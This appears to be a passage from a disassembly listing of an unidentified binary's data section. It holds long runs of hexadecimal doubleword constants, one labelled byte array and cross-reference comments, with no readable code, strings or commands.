4786A480h, 2978355Dh, 0A64C3492h, 233AE0A4h dd 0C700482Eh, 0D47D2DD0h, 4DEE207Fh, 9E3BD01Eh, 5541B8B3h dd 240191DEh, 0B25FB9Ch, 6ECDA71Bh, 2375C74h, 3D0CC16Bh dd 0CCA06418h, 29892F5Ah, 127C0B13h, 0EC8290D4h, 4A4C80BCh dd 3B84226Bh, 0D72C79F4h, 0D0814944h, 0D3257310h, 6798B100h dd 47D2573Ch, 71B11DA9h, 0F55D8077h, 5C111D87h, 0A0F988ABh dd 63083266h, 870848h, 0E062A59h, 63B70A60h, 705433E2h dd 89B7A78Ch, 0C15C681Dh, 143F007Ch, 0DF0F3CD5h, 0CA001336h dd 8467A576h, 4E57BFA3h, 2F542193h, 533E8088h, 8189147Bh dd 3D700C22h, 2C99F5D8h, 1C08A649h, 20803085h, 1EFF25C7h dd 442765Bh, 8BBABB3Bh, 0FD6F409Bh, 4C1449E5h, 520C5477h dd 0BBC9258Eh, 28D726E4h, 0E7EE4831h, 28C8C8h, 0AFC7439h dd 90D5D808h, 5848859h, 633A1E5Ah, 2294D050h, 0C4062D0Bh dd 34872411h, 0A507B918h, 794BC168h, 0C444A0F7h, 63834CA2h dd 0D181872Fh, 142254h, 1BF3D8B6h, 2486EFBEh, 44609135h dd 0A50C838Eh, 423C62F0h, 0AA4438B6h, 0C9005549h, 0D97520FBh dd 0BBFCC605h, 8C209E85h, 90D23EC1h, 0ACE0B1A4h, 92A46A10h dd 0A65C701Ch, 0D702C371h, 0E761FEABh, 0B45B77h, 7C274610h dd 0A97221DDh, 6CA3C800h, 0A484917Dh, 9FB51229h, 9DDC321Eh dd 0C4AC5873h, 4BA80F53h, 2AA9046Eh, 0B9021CE4h, 0B557D797h dd 0CEFC4AB6h, 18C10010h, 3EC5F3EEh, 6B0B76EBh, 83E69756h dd 0E0A52AF8h, 5CE565ABh, 79E344Ah, 701510FAh, 47DC0666h dd 5900747Dh, 0EFBEB57h, 5108285Ah, 1858B4AEh, 0A2E005Eh dd 3384ED57h, 36059F7Eh, 6B740F09h, 2C2744B2h, 0F6A5DC20h dd 0FB03F8DFh, 52A1009h, 4991E8FEh, 8C74A6Bh, 12801F78h dd 0DF7EC9F0h, 61A0B90h, 0B84C3F0Bh, 10828E12h, 6ED04D00h dd 0F7D30CBh, 3D03EB56h, 46799740h, 449607CFh, 2150FF60h dd 5361163Fh, 0C5A07030h, 140494B2h, 4813995Eh, 9027BE08h dd 1763E7Ch, 185ECCF8h, 24E11F0Ah, 0C1274774h, 40A4AF2Dh dd 0DAB3C2C4h, 0FABC00FFh, 82BDE380h, 242C747Ah, 2F508C40h dd 0AFDF0225h, 1B0685A3h, 0A014B852h, 788C9A30h, 5435A75Eh dd 0BF9E0808h, 11581F00h, 0CDF9A32Bh, 0C6741E00h, 272822E2h dd 40415892h, 10C5A13Ah, 4E15C3Ch, 0C9B9EC31h, 0D18B825Ah dd 601086BBh, 0D501418Dh, 2D0B73E2h, 44351A06h, 3AC0A42Ch dd 0CCFDF8ACh, 0BF09D19h, 0CB13B469h, 0C696FAE8h, 0CFB62401h dd 4C51B303h, 84937824h, 502BE826h, 22748595h, 7574079Bh dd 0F051CFA7h, 35DE55D6h, 22034225h, 2AA2169Ch, 40B3443Ch dd 0BBED02CDh, 0A9701531h, 609C187Bh, 7C226F03h, 0AC703BFDh dd 2A5D30C1h, 960B0060h, 328C4444h, 0D521034h, 39015C92h dd 0E6842DC5h, 2C28A172h, 0C8170180h, 16009E0Bh, 77250258h dd 0E0A86493h, 4BFE00DDh, 4DFCF294h, 5458C25Ah, 0FB24800Ch dd 0B3C60Ch, 262C5919h, 79666BBAh, 69020176h, 0B07BF13Eh dd 98523Dh, 0EECD2FACh, 9D3BF5FEh, 23A3C500h, 852B9655h dd 25110DA8h, 2DA15C78h, 13BF1D58h, 53681B00h, 0E82F16ABh dd 8D3400B4h, 449E1A2h, 0F5CBC93h, 0A69F224Ch, 343E0BACh dd 0A4034653h, 47B82A12h, 0B01F92A7h, 57128EA8h, 0CD36C90h dd 2512008Fh, 35960BFCh, 2C0B7A6Fh, 9387F93Fh, 1C22E41Ch dd 460A7A20h, 4EFD0091h, 0A6417CDCh, 0E7FE251Fh, 16055FCh dd 72C5A729h, 6BC00170h, 3892D3D6h, 0F287E4C2h, 69D3111h dd 0AE87A84Dh, 0B4C20E4h, 27077DF5h, 46CA224Ah, 0C91CD990h dd 6AF1001Eh, 6E0A17Bh, 0D0919F12h, 34C90E97h, 27D320D2h dd 2F00E9EFh, 76F813BEh, 1966FECh, 3E896E5Ah, 7C06980Ch dd 489D2AF4h, 17D4B244h, 8D763Ah, 61A8015Fh, 22028460h dd 1FCB35E8h, 11C440FDh dd 71F289A5h, 2F5BD0D0h, 240ED4B0h, 0D42DB034h, 58CB0E10h dd 0F7C7E0EBh, 1604D18h, 0ADBDD7B8h, 0E48D3968h, 4CB6BFBBh dd 0AD489E11h, 6CC9B000h, 4318D316h, 50DA439h, 4DEEB573h dd 0A78C086h, 6E2D1D8Dh, 38102590h, 3000E20Bh, 0CCEE65BAh dd 3EDCE333h, 47023101h, 9F07D74Eh, 19005CCEh, 8E4F0FE0h dd 0AA6CBCh, 3D752451h, 9790CBB4h, 5020485Ah, 8A95C7h dd 0A67AF376h, 608DD6A7h, 4DC1E2Eh, 6F8119C0h, 0C09507D5h dd 0C4783F4Eh, 0E0D4CCB7h, 167A6417h, 2A29CA00h, 25D20F8h dd 0D77A2EBh, 5CF9DD3Eh, 0C5F6E700h, 30F29Ah, 959641EBh dd 14AC9348h, 7CAB472Ch, 6209882Ch, 0EC45h, 0ACC28128h dd 0EF2ED2CAh, 1090ED48h, 3D2CA3E3h, 20474040h, 2200B1A9h dd 2AD6770Bh, 2745C25h, 0EDB9A170h, 0B862A581h, 0BD00AC46h dd 0CE7EB144h, 771DADCCh, 1A0B1712h, 59904063h, 0BE2A88D5h dd 83141878h, 68524Ah, 0B0247048h, 0CE53E5h, 82AC6BE8h dd 4F27E4BBh, 2BEDCCF9h, 0B62A4200h, 0D6DF9E68h, 0AE7C000Ah dd 882DF565h, 690F6755h, 0E7C22FFAh, 7A206F0Bh, 990C9ECEh dd 0A0BB090Ch, 0D31F70E4h, 1A2DF78Dh, 84FE6094h, 2BA100DFh dd 8EAAB452h, 0B00DAAFh, 3BE72578h, 181F39E8h, 489748BFh dd 0DCB3AD4Bh, 11517400h, 12A0C9C7h, 8C689B6Fh, 1EF618C4h dd 0DDA70A00h, 4B9013A1h, 78940036h, 3796040Ch, 8CA65FE3h dd 336FE000h, 262F54C0h, 0F7B831h, 0E2802294h, 2DA7A49Dh dd 4181D89Ch, 0A08EEEFAh, 241516E8h, 3CF492C2h, 51FE331Ah dd 7C002C59h, 96A8E97h, 0A63103AEh, 0F784D1E4h, 7BFE55F0h dd 22380748h, 5B6F0004h, 920C237Fh, 1A133260h, 60131D18h dd 72096C31h, 11527DCh, 0C25D4A89h, 0C1149285h, 4FF83065h dd 0C3E742Ch, 53C26440h, 0B55C044Dh, 882DA89Fh, 45001594h dd 2BC3E29h, 48CB318h, 0B4A88773h, 0CA98D29Fh, 6E01E8CCh dd 0DD86AA71h, 0E06091A3h, 561A04D0h, 0C267F925h, 0F4A98A04h dd 0C268A080h, 0D14CD6D3h, 0DA880B5Ch, 4D5387DBh, 58C72CC4h dd 656659C0h, 0A8B61F4Ch, 7946999Fh, 38202A2Ah, 1796D201h dd 91539E56h, 40507F8Ch, 0F2FD0CBEh, 9434A700h, 0C130F1C4h dd 0BD751885h, 0E23EF838h, 3F00F459h, 1E0C026Fh, 792A15C6h dd 6030A4B4h, 345283B4h, 0FB06BE00h, 216C22F5h, 4A78984Bh dd 9880402Dh, 35862377h, 0E4058F05h, 0B9003E80h, 8E1A8D26h dd 4418B88Ah, 0C093CFBh, 8245F70Bh, 948C214h, 5FAEE404h dd 84CA3213h, 782A4C00h, 867ACCF7h, 5A5C063Ch, 221A9030h dd 4E141EC1h, 0C5A680B8h, 659A246Ah, 89371C8h, 1C0B4C48h dd 0C4060912h, 93BC00F4h, 0EAA27C74h, 440EED54h, 4B068850h dd 0B94464B2h, 0F0588344h, 0F6C444F7h, 0E3AE00C8h, 0FD4267ADh dd 0A4E90052h, 4AA3605Ah, 4E022DA9h, 0D6CE8750h, 0F1C529Bh dd 22C9892Ah, 0FD1B9E81h, 0A6B042C7h, 2714602Eh, 71F3F1h dd 0FA5D7942h, 5202646Ah, 0A8CF8E79h, 0D02B001Ch, 17B2C5F0h dd 3053A882h, 130B164Ch, 0ECB66F02h, 5E3BA06Bh, 5A584038h dd 6896243Ch, 59A39D40h, 1A950703h, 0F5472D6Fh, 2E8BC2ADh dd 0A7704446h, 4065216h, 218FE004h, 0E2349E43h, 0C0407948h dd 18A39F43h, 7CCB008Eh, 6EFD9419h, 89020AD4h, 0C129054Fh dd 8820531Fh, 8512D9E4h, 0FFE78C8h, 0F5339480h, 8F9AF9E0h dd 4D01BF37h, 32465F0h, 92C0B63Ah, 6C872EF5h, 0AB0B9F8h dd 81C9059h, 65B37700h, 6F1F2934h, 0D6D5005Ah, 0A02CE5E9h dd 1AFA4F09h, 941C8324h, 484A9309h, 31857Ch, 895F457Eh dd 56130FE6h, 0A6E6CBECh, 876A3D05h, 0E8059071h, 8F02C41Ch db 29h byte_520045 db 82h, 0D9h, 42h ; DATA XREF: ___:0042CC88o ; ___:0042CCA0o dd 0B866F0h, 95AA011Fh, 632640D5h, 46432E07h, 5E70C44Bh dd 408F53B4h, 88002C07h, 5779312Dh, 94524E96h, 9D0F80A4h dd 0EBCD90A0h, 4B39A303h, 22D86430h, 0A011AEF8h, 1C24053Fh dd 79F60B23h, 8C8A40Ah, 5426A2E4h, 509427h, 2FEE3595h dd 0C6B5FDF1h, 994C847Dh, 0AEC41714h, 336C9Ch, 0E2A2BE57h dd 0AA672AFCh, 0AF6A6300h, 0A992D50Bh, 78852FBBh, 40A754A4h dd 26865480h, 0C27500EFh, 0D192830Dh, 3F034B93h, 0A4AC628Fh dd 5CC1D44Ah, 2AA79FB3h, 0DC56F892h, 7CB7F150h, 503801C0h dd 72DB7305h, 4C0AC404h, 0A074DE1Ch, 61454609h, 371223ECh dd 0C71F7C44h, 2EC09ADDh, 0AF5793B6h, 0BF030F96h, 3DE05127h dd 454D43C2h, 89BB0B05h, 0A06C8B6Ch, 90491C2Fh, 0FB037F4Ah dd 0FA936264h, 281DE7B7h, 54A26F12h, 36F8CD00h, 0D8EBBA5h dd 0B2EE0F00h, 0B887FE3Ah, 0E1980043h, 54C25EE5h, 0B0974C63h dd 3274BA0h, 0FFDCF585h, 8112F752h, 0E200FBE1h, 31B1E6E9h dd 17FA0081h, 10AFD3ADh, 501261ACh, 0F100A594h, 53B844C1h dd 4354020Bh, 8FBACC65h, 1426A0D1h, 0E25D100h, 1D988D0h dd 0D3A8C9FDh, 0E4CA0D2Bh, 0A329B43Ch, 803DA430h, 22A06C3Eh dd 2BBC7BAh, 0E4FEA837h, 0CC619D32h, 618FCC75h, 922DC20Bh dd 7BC64E2h, 7BBE494h, 0D007A933h, 0B17C1769h, 2A1B03B0h dd 4C2B5840h, 3E1C9BF5h, 260BA8E1h, 0B8006409h, 0A0E46285h dd 946A342Ah, 0F9502F72h, 2DEF88BCh, 6F628030h, 9EB15Fh dd 84F81B5Bh, 0C9CBD3E1h, 5036E300h, 93CE3720h, 3252264Fh dd 308813DCh, 48ABD080h, 0A4BB0500h, 7F131C7Bh, 2F14B28Dh dd 5891FC37h, 0A0E214A9h, 0E5D58200h, 0DAF6035h, 0A07D86E6h dd 6F9D3E12h, 41F5F446h, 0AA77570h, 659547D1h, 60782698h dd 8271664Ah, 0AE940500h, 2A740E1Dh, 4294905Ah, 98311EEh dd 89AD5451h, 0AFC4E002h, 0D42CE059h, 38AA2258h, 0AF0F77E0h dd 0B52105B8h, 0FC33B1B7h, 484CCDFFh, 91EA754h, 3FB88058h dd 0B0731BBEh, 939F44D0h, 75B6E10Fh, 0AD36A056h, 0AE7C09h dd 5CBD3BDAh, 99FD1E77h, 4A507A4Ch, 7438248Ch, 98084E1Ah dd 2600E044h, 3742B99Dh, 7CA4A10h, 0B571EA62h, 2A877183h dd 80CC3CFAh, 55F67E1Dh, 0E8EA1265h, 0AE943070h, 0CC004735h dd 0E7ECBC88h, 480704h, 1095600Eh, 34F63DC7h, 9D24F9E2h dd 0C4274492h, 0B132E234h, 4E6F8014h, 0BD27E2D5h, 25E02C5Ch dd 27D0E42Ah, 0C8664857h, 0F00537Fh, 1F25F28Eh, 7195766h dd 0B7050AA4h, 84387B5Ah, 0BB80F020h, 0B4988488h, 404AE542h dd 0E92BC524h, 0A7007BC0h, 0DEF5062Ch, 0B8EA29CEh, 1CE006D3h dd 0A066F3CAh, 85242642h, 0A4C701ECh, 0E0C21DFCh, 0C6F689C5h dd 0F1967212h, 8F5ED409h, 65388504h, 8090EC08h, 34F011DDh dd 171F4D28h, 8405303h, 0C4D3BE86h, 672F05A4h, 0B9783B8h dd 0A8E6225Ch, 76503D04h, 0F4872BB3h, 841C2089h, 48345414h dd 76002866h, 7F5065AAh, 3A4E101Ch, 16EB0DCh, 6394FBA5h dd 40F74C37h, 83D8DA86h, 0A1027A78h, 0ACCCB5B7h, 3A9859D9h dd 0E7004EBDh, 0D6DA0B46h, 3822A0D1h, 13062904h, 44E828F4h dd 4829BF08h, 0FC24C00Bh, 0EC48EA58h, 44880360h, 0AD21D65Ah dd 0D8C8E84Eh, 6EFB00E9h, 6BD0B9A8h, 0B82719E2h, 0B5009017h dd 341C074Ch, 67C75FBFh, 0F3B0B760h, 910E1F9Fh, 81A8258Bh dd 70751B15h, 0F5C06068h, 0B9A3FDC6h, 68B3B500h, 16CB1EE1h dd 990801E9h, 112C2987h, 4A5FCC7Fh, 0A8C19160h, 0F467684Dh dd 324C1EBBh, 2B640048h, 22B63879h, 0A5A3783Fh, 11066C2h dd 0BD36F0BAh, 0F822D353h, 7200841Ah, 6228BC65h, 92A8104h dd 536F8747h, 23457C90h, 20F2CB00h, 0E81E0B6Dh, 349F27BFh dd 0B0742046h, 4E100A62h, 69545E31h, 0FC238201h, 84FFD3B1h dd 5518C815h, 0D80074B9h, 63D4C52Ch, 0ADB0BF8h, 8085F16h dd 888867ECh, 3093904Fh, 6C164CA8h, 7444EA24h, 2B521C07h dd 34B64B60h, 59A73CA8h, 3592D003h, 39C3AD07h, 0C5E08EE3h dd 66122C62h, 7C88953Dh, 1A51242Dh, 28E20085h, 0EB866350h dd 2F8D03Fh, 3CAB1B5Eh, 9F8AE0C8h, 25E89629h, 3DE078E6h dd 70AD0100h, 56D704AAh, 0FFB70372h, 0BE965961h, 3964C8FDh dd 9369F300h, 1DC511E7h, 78380003h, 0AA9CE840h, 220C330Bh dd 3130944Ah, 0CDD044Fh, 0C4FDC829h, 8364B860h, 0C5D37816h dd 0EE345880h, 18E54C1Bh, 1763081Ch, 99C801C9h, 3F69A090h dd 0BE828h, 0C8E23FA6h, 918652FCh, 5B8048B6h, 9318E080h dd 20ED09D0h, 0B8792A71h, 0E825F100h, 0F0F60B55h, 76FA008Eh dd 0E12741ABh, 9416C8AAh, 5C08D8F3h, 10E4A79Ch, 0B100B5F2h dd 496090BCh, 90DCA77h, 0AB1CB973h, 0F51FBC44h, 44C06251h dd 0E6809DFCh, 8DBD0064h, 0B278E388h, 705B1950h, 1E03D802h dd 0E914463Ah, 69889108h, 9759033Dh, 0F431748h, 3793EA98h dd 0C0839A17h, 91CD3C02h, 0B0AD6303h, 2C2B4E16h, 0A5E0A1BBh dd 3D001CE6h, 0D7CDAB66h, 2151462h, 30A8DF49h, 0A002EEACh dd 0F670443Ch, 725A2E64h, 4C2C2C38h, 11E98458h, 0A823269Eh dd 0B7947113h, 61F216Ch, 406C39B9h, 1A168942h, 5A78B052h dd 3B1292E8h, 70B233A0h, 63001121h, 4A4BCC34h, 98C4ABBAh dd 117CDDh, 0E574EEFh, 0C7678179h, 3E46D324h, 0F4A8960Bh dd 6FBB0964h, 0FD0EB4F9h, 3C2BE20Eh, 934C6091h, 0C1831676h dd 0D03430E3h, 4F85CB3h, 1B38D4E8h, 0A40574D5h, 32BAE8A1h dd 8C17308Ch, 6EA06316h, 6F0068A2h, 0E9D9C624h, 93A4287h dd 0A8F312B7h, 44D48C28h, 0D0889B0Fh, 2E0D03B9h, 6A60F62Ah dd 0A0E3ECE0h, 0C169681Eh, 0F910A4EEh, 188F9F88h, 37E840ECh dd 0A6D6F2h, 0A5030D36h, 4512CEA0h, 0B51F1B74h, 0BDDF1A19h dd 2CCA1057h, 60513800h, 0DE590F82h, 0F4F2F0D3h, 84F13C02h dd 0CCA0AF3Fh, 1C4AB438h, 0D056EAD6h, 0D5F98490h, 0E0DA4892h dd 299E3009h, 472AE069h, 0A08048ECh, 0EE655A03h, 4C8559BAh dd 1A82C449h, 0FD80D2F7h, 3496A0D8h, 3449E86Ah, 0C85B2711h dd 4800737Ch, 65ABB2ADh, 47C078h, 851DE2BCh, 0A1A99E82h dd 42074F76h, 707EC235h, 0D8C489h, 738EA361h, 0BAF64BF7h dd 0DCC89E4Fh, 0BE018433h, 0BB9FB95Fh, 2182608Ch, 0F63EC147h dd 62408C7Ch, 7907723h, 3F2E0A12h, 0B344AA0h, 0EC482DA7h dd 1000EF13h, 0D21D47E1h, 54C308Dh, 3FC23D6Dh, 0C0D0BCF6h dd 61E79029h, 0DCD100FDh, 0C0EBC1Bh, 0C64C0A34h, 0BA0D0094h dd 0FC574F38h, 0A4909775h, 98993F5Ah, 524A1600h, 48EDBFC8h dd 501E782Ch, 2A47C288h, 68421421h, 5A5068D4h, 0F8F300E1h dd 0C871943Dh, 6A026BB7h, 40EAB9Fh, 53808077h, 4E1BA2h dd 39BFB650h, 0F24A2DF0h, 9128AD27h, 0DCD86AA8h, 2E1600E7h dd 2A209948h, 0B0073BBh, 1597C7BCh, 16A5BD35h, 20552B62h dd 77964BA4h, 9D377301h, 3C260F60h, 5A492C20h, 44440248h dd 0B4525527h, 8407EA03h, 0E05CC3DEh, 15863Dh, 5260DB63h dd 6DF9618Ch, 102A2B2Dh, 0C51AF8h, 0DDC96208h, 595131E7h dd 0C6B50A00h, 654BBDF3h, 86B8246Ah, 219E4250h, 0C23BB8F1h dd 609F0512h, 0BCB8A0C8h, 601D010Eh, 4E0840FDh, 0F4FD23Bh dd 58F4183Fh, 0A2243C05h, 31BB00E8h, 7C5D5764h, 274730Bh dd 0C35A1C2h, 0B86216A6h, 0DE00D016h, 30A92709h, 1281D8h dd 0B51835B0h, 5E5729C2h dd 0DD4CE048h, 9A01E61Ch, 591C22E5h, 9B1FA833h, 795080A4h dd 0EA20F160h, 154DDB00h, 712E26Dh, 2D372CAAh, 0EF264024h dd 63005183h, 0B578BD1Fh, 7D484AFFh, 882F5258h, 57636F0Ah dd 0F5003A54h, 554E7315h, 830716C5h, 48A284C9h, 0CB00F365h dd 0FCF56E04h, 2CDD00C6h, 6484C5CEh, 4B19655h, 2F349827h dd 4A68981Ah, 785C3Dh, 91F843E2h, 811D75A8h, 0AB00671Ah dd 8FBB391Bh, 44B99595h, 3CA5307Fh, 1D38D500h, 0C5DA549Fh dd 3F172FC9h, 34F06013h, 10951F2Bh, 0CCBF74h, 0C910C67Eh dd 2DDED92Eh, 9ECF0611h, 0DF0CC102h, 0D0E6248Ch, 46BC6D07h dd 0EFF0D76Eh, 4CACB9h, 55D2A6A1h, 37C3EC66h, 122A6B07h dd 8596A0EAh, 0FEA70039h, 25B99B98h, 78E28722h, 94DACF2Eh dd 1728642Dh, 4EE6285h, 0F44C4994h, 598AAE08h, 43FD8008h dd 4439DEBAh, 0AA302F0Eh, 6D81DFF4h, 0B54C273h, 6010E710h dd 99EFE002h, 5E03C134h, 0C7014E64h, 0DF32A2DDh, 909FAC25h dd 74B08C4Ch, 43BF1F83h, 13A8433Fh, 0AAA0EB58h, 50B1C10h dd 80244A64h, 0DE2F5054h, 890CBB6Fh, 0D4462A9Eh, 74FCAA4Ch dd 0DA04019h, 10848A19h, 0C23F8F0Bh, 98F0F15Ch, 6DA0B95Eh dd 768C24B8h, 166F9758h, 0EA0166Ch, 5120066Ch, 8754E00Ah dd 654D3F19h, 0B5033248h, 1885293Fh, 5B48454Eh, 4FC188A5h dd 226C7200h, 0B7F6367Dh, 0C8A80BCCh, 84055464h, 2B08D029h dd 7D02CD0Dh, 9F8185D3h, 0A4D0D62Ah, 22880B58h, 647828D0h dd 179FBA0Ch, 7C2AC16Ch, 13C02A7h, 5293307Dh, 0A180D074h dd 24CBEE08h, 1C3F0CAh, 2CF0141Bh, 8CC406h, 3A570B4Fh dd 530962D6h, 44033C1Dh, 81E59E22h, 29A5AE58h, 0C4398008h dd 72737404h, 0AB8201B7h, 3B368784h, 0BBA440B3h, 0C2278CBAh dd 35CCCA5h, 15ED47F5h, 1D90EBCFh, 0D404F8E2h, 0AE2195FBh dd 0EC90B885h, 45A0A70h, 4F553AB5h, 3868B065h, 6432A02Fh dd 0ACC80028h, 521BA787h, 8105EDE0h, 6BAF0C1Dh, 49226C82h dd 446AF432h, 219F11E0h, 8D080E34h, 0C80B1484h, 9F7AE80Ch dd 0C26C5C90h, 6430241Bh, 0BC099D20h, 77C505Dh, 99CF2DB9h dd 411381D2h, 50602A8Fh, 9229B1h, 6C61766Eh, 0C9704B4Dh dd 0DC7C9048h, 4035B4CEh, 8C3D8344h, 2546099Dh, 2870902Fh dd 828CA650h, 632A8709h, 37B41052h, 844C0ABAh, 89D8F6D0h dd 3C0F53C4h, 9E098B08h, 0C488D11Eh, 80552221h, 0BAE59D28h dd 7E542ECAh, 423C924Ch, 0D3C26F08h, 0D122EC85h, 8DD5DCh dd 163482Bh, 0A5F27669h, 0D19065FDh, 0B83CF068h, 0E020D84Eh dd 0EC271BFh, 3804FD74h, 14C1C85h, 8806D8D4h, 2238339Ch dd 0A28300F7h, 0A3AD0EDCh, 630031E2h, 767FE785h, 2D26CB3h dd 2A5AF1FAh, 9C741516h, 64DE4F8Bh, 7B530F40h, 84BDF912h dd 0AAD09D9Fh, 9C5F9C30h, 0E32009Bh, 1C2A71AFh, 0A128D612h dd 8B449C05h, 0FD920282h, 966FBFAAh, 0DA8368A0h, 60734DCh dd 0CEDD932Dh, 3C63D8F0h, 0BA6A1F1Ah, 9A007B9Ch, 0C16C57FEh dd 5898C645h, 0EAD20D02h, 0DE5220FBh, 90A5C8h, 2500B0F8h dd 8E80CE1h, 12C23Fh, 0CA2CE321h, 0BA835F5Eh, 6CF4322Ch dd 4C344B83h, 40E0FD5Ah, 0A0378412h, 1383A90Ah, 177800DFh dd 927F715Bh, 701722AAh, 881098B9h, 4453A258h, 901C001Ch dd 582A73Ah, 1472F21Fh, 42E1011Eh, 2C500600h, 25A060A8h dd 0A8E0AE3Bh, 11956F1Ch, 9FECF248h, 43CA00B5h, 0B0F37B2Dh dd 57163DAAh, 1C04E8DBh, 0A70048A9h, 0A8850F1Ch, 7C346809h dd 0B14443ADh, 0EC61C264h, 0D4E93643h, 4B0070AEh, 77E9F24Ah dd 17910170h, 954DC113h, 0EE37CCh, 2941E615h, 19938B5Ah dd 85DE5609h, 9CCE08h, 165AAA18h, 84262034h, 620581B0h dd 524C7A45h, 0EC9B64A4h, 0D43500A8h, 8B12F06h, 44001720h dd 2EF1026Fh, 1223980Eh, 0E5FD8870h, 872478F4h, 14C059E3h dd 581B9897h, 0A82264B0h, 3B533C98h, 0B46407E0h, 0D25F1DAFh dd 3C006CA7h, 95EBFD7Eh, 0F700D247h, 26F1E3AEh, 12024D52h dd 4CDCEE8h, 1072C68h, 9F6C8FBEh, 0B000B423h, 0D37592A4h dd 5A0FEF49h, 80BF3D10h, 0AE046AB3h, 0C290B0Fh, 24583021h dd 0A7805554h, 311A681Eh, 0FD39F0C7h, 78F26524h, 0F34C164Ch dd 6D542000h, 3F2A583Ah, 59C1DE00h, 51B44E65h, 822B2444h dd 62A763D8h, 81D25CC8h, 8DA8D302h, 5C30E9EFh, 8C030984h dd 11117471h, 0D2C14A85h, 0F4E4520Ch, 33B2207h, 0BDC0CF54h dd 910C6AD5h, 81BE874Ch, 490611E7h, 0C953DC27h, 1B0EE503h dd 26968C40h, 0A0843C68h, 0CA335BC8h, 7A7607E4h, 4120AD4Eh dd 0B794E54Ch, 0D61B4001h, 65088391h, 98712E0Ah, 0B9641F4Bh dd 0C8F39518h, 2886BB14h, 74346F00h, 0F115FDABh, 5F1670B2h dd 5C251E05h, 0E2006CECh, 0C5AB7C9Bh, 6C5D445Dh, 4C972C44h dd 41081108h, 698CEA2Ch, 65958144h, 49FC3679h, 1B9E0071h dd 0D851CBF3h, 610940A6h, 5E4B3DB0h, 2C006B94h, 0FCF1415Ch dd 0A1BBA211h, 58640702h, 0C0E608F0h, 64960D2Fh, 729145B4h dd 6C6A0380h, 0E003B7EDh, 1FDCDB11h, 5D68CB3Eh, 0C2CCCBB8h dd 9B2C2C71h, 2EAFDD00h, 96D4985h, 0E64B1214h, 2CE67489h dd 25218643h, 8CE84086h, 0C0E89819h, 57A58219h, 2000BB98h dd 30E80D4Bh, 0C4B8ACCFh, 0AA0F7408h, 0BAD12420h, 0EA4800A6h dd 0F5830C14h, 5501C4B2h, 0DC6CB76Fh, 3F94CB1h, 0C7CC1021h dd 3864B12Dh, 982AC800h, 99BF0D0Fh, 94CFEC00h, 6130A27Ch dd 0E00C24E6h, 2B330298h, 0E8466F08h, 0F9548600h, 0D37F01Ch dd 44D2003Eh, 0D7DCC63Fh, 2D0492E2h, 8AA5D6CEh, 0AEACC856h dd 50921300h, 0E4D6B07Dh, 49E8A056h, 0B4EA0031h, 0F221105Fh dd 0CA5C887Ah, 0B33DC050h, 0D59E77h, 0A8577FBBh, 379134DEh dd 2B0AC80Ah, 48098C3Fh, 0DBF80158h, 0B8488BBAh, 2CC0AE5Ch dd 908F2F4h, 0D48B532Dh, 229E3C51h, 5C44A500h, 9092FC67h dd 1A810164h, 0EF13033Ah, 54606B8Dh, 68F8A4h, 7A70BC4Eh dd 4432BB97h, 804769CBh, 1E9277C4h, 2A00F1D9h, 342D44A7h dd 0B00461A2h, 64501209h, 0F1AD94E1h, 0EB79901Bh, 4780B888h dd 0C8ACFA2Fh, 0CEBA0B8Eh, 80DD8D21h, 4A7FA7C5h, 0B029D69Eh dd 4B0052D0h, 73346089h, 0C4BF2C15h, 0AF37A0C1h, 12848C3Ch dd 0F06FCBC5h, 58843480h, 0BB00D42Fh, 0E3C2EBDBh, 8CFE67A7h dd 64067BFFh, 16C0F54Ch, 0A04916D0h, 275A3524h, 74854809h dd 9A4283Ch, 0C8BEC240h, 7F70882h, 0DE8ABB02h, 56FB4058h dd 400061Ch, 6357922Ah, 9581EA6Eh, 4BC114A0h, 8C43322h dd 0CC81907Eh, 0D18841DAh, 0A08B431Bh, 0D1504A32h, 0BFC40784h dd 0BC440031h, 0C000AF32h, 8E34F74Eh, 0EB3E2DF0h, 0CA386832h dd 76EAC480h, 6380676Eh, 0B8DFE805h, 0B001257Ah, 6077FDACh dd 0E2009C63h, 0BA5BE47Ch, 69001B48h, 109F352Fh, 9B64E60h dd 45045322h, 0A8112C40h, 541F4486h, 9222C801h, 6BD6205Ah dd 9C9F88C0h, 88966E10h, 345185F4h, 9D09F8C0h, 82BE5091h dd 5FFAE99h, 0ECC0FF20h, 24915E72h, 0CF160A80h, 4BD29Dh dd 44472A90h, 2B76483Ch, 0B4202EF1h, 7BED4D59h, 0BB5E48F4h dd 0DC1B017Ch, 122F2D5Ah, 305071D6h, 31C164E0h, 2BEAD72Ah dd 671B0020h, 91F80870h, 630984BAh, 0AD7D0024h, 61FC265h dd 9D8A413h, 2DC33C2Bh, 48003052h, 8F32D628h, 36513E4h dd 5BC85672h, 818FBB12h dd 420545C1h, 80C73F90h, 0CE89803Bh, 0B2743085h, 0B91400AAh dd 8CE1F903h, 0B4251E06h, 9C5B8Ah, 64FF99C6h, 0FB5AB0B7h dd 0C80F2420h, 6D7F59h, 16BBFCB4h, 5482AF9h, 0BD84C102h dd 71EC3D20h, 0CCAB2DF4h, 0C605C444h, 24649D26h, 9FB19C41h dd 87146E1Eh, 75B400FCh, 0D6000FADh, 0C27AEC50h, 944AF2D3h dd 7B5C8EC0h, 0F7B11801h, 9D4BE0EDh, 8A3A403Fh, 88700ED7h dd 9CAC1392h, 0E5DBB280h, 0A52D85C6h, 0BD14CCFBh, 0C5C76000h dd 0CE266068h, 0A80500EEh, 9C81119Fh, 0D02C1F9Eh, 1E648988h dd 48C61F22h, 73336603h, 89D0FD9Ch, 0FF20D55Ch, 84A3187Bh dd 96CBF060h, 60C81B4Eh, 43F0962Bh, 0F4B8A1CEh, 0EC90F219h dd 0C2615102h, 6039EB86h, 9C161C60h, 32114490h, 0A1841088h dd 0DB6C4D0Ah, 34804C2Eh, 0B9B8410Fh, 830A0063h, 33F58936h dd 6203942Eh, 46249248h, 0BA79B0EBh, 4484BE85h, 2B6F600Dh dd 7B10F152h, 0E008FFEh, 1E6CC450h, 0EB1F83h, 1240420Ch dd 346AF5A8h, 0CDA67713h, 74B810h, 0D384D6A7h, 7EC2D992h dd 0F099BFBAh, 0CB83177h, 977A57E0h, 3B42A904h, 3CA8189Fh dd 63248F8Fh, 0B564822Fh, 0AD13EE11h, 42981CEBh, 4003A1DBh dd 38D4ED95h, 289B6EFh, 5C225D07h, 0D854CD6Ah, 4070F1A5h dd 1D14A060h, 790005E0h, 68533974h, 0FD25107h, 0B6E34943h dd 1B1C4012h, 8C14B5DEh, 7BA02413h, 0ABC010C4h, 0A68FB86Ah dd 3E0C46ACh, 0E08CDB06h, 58D0120h, 3036C45Ah, 815FC4B5h dd 964742Fh, 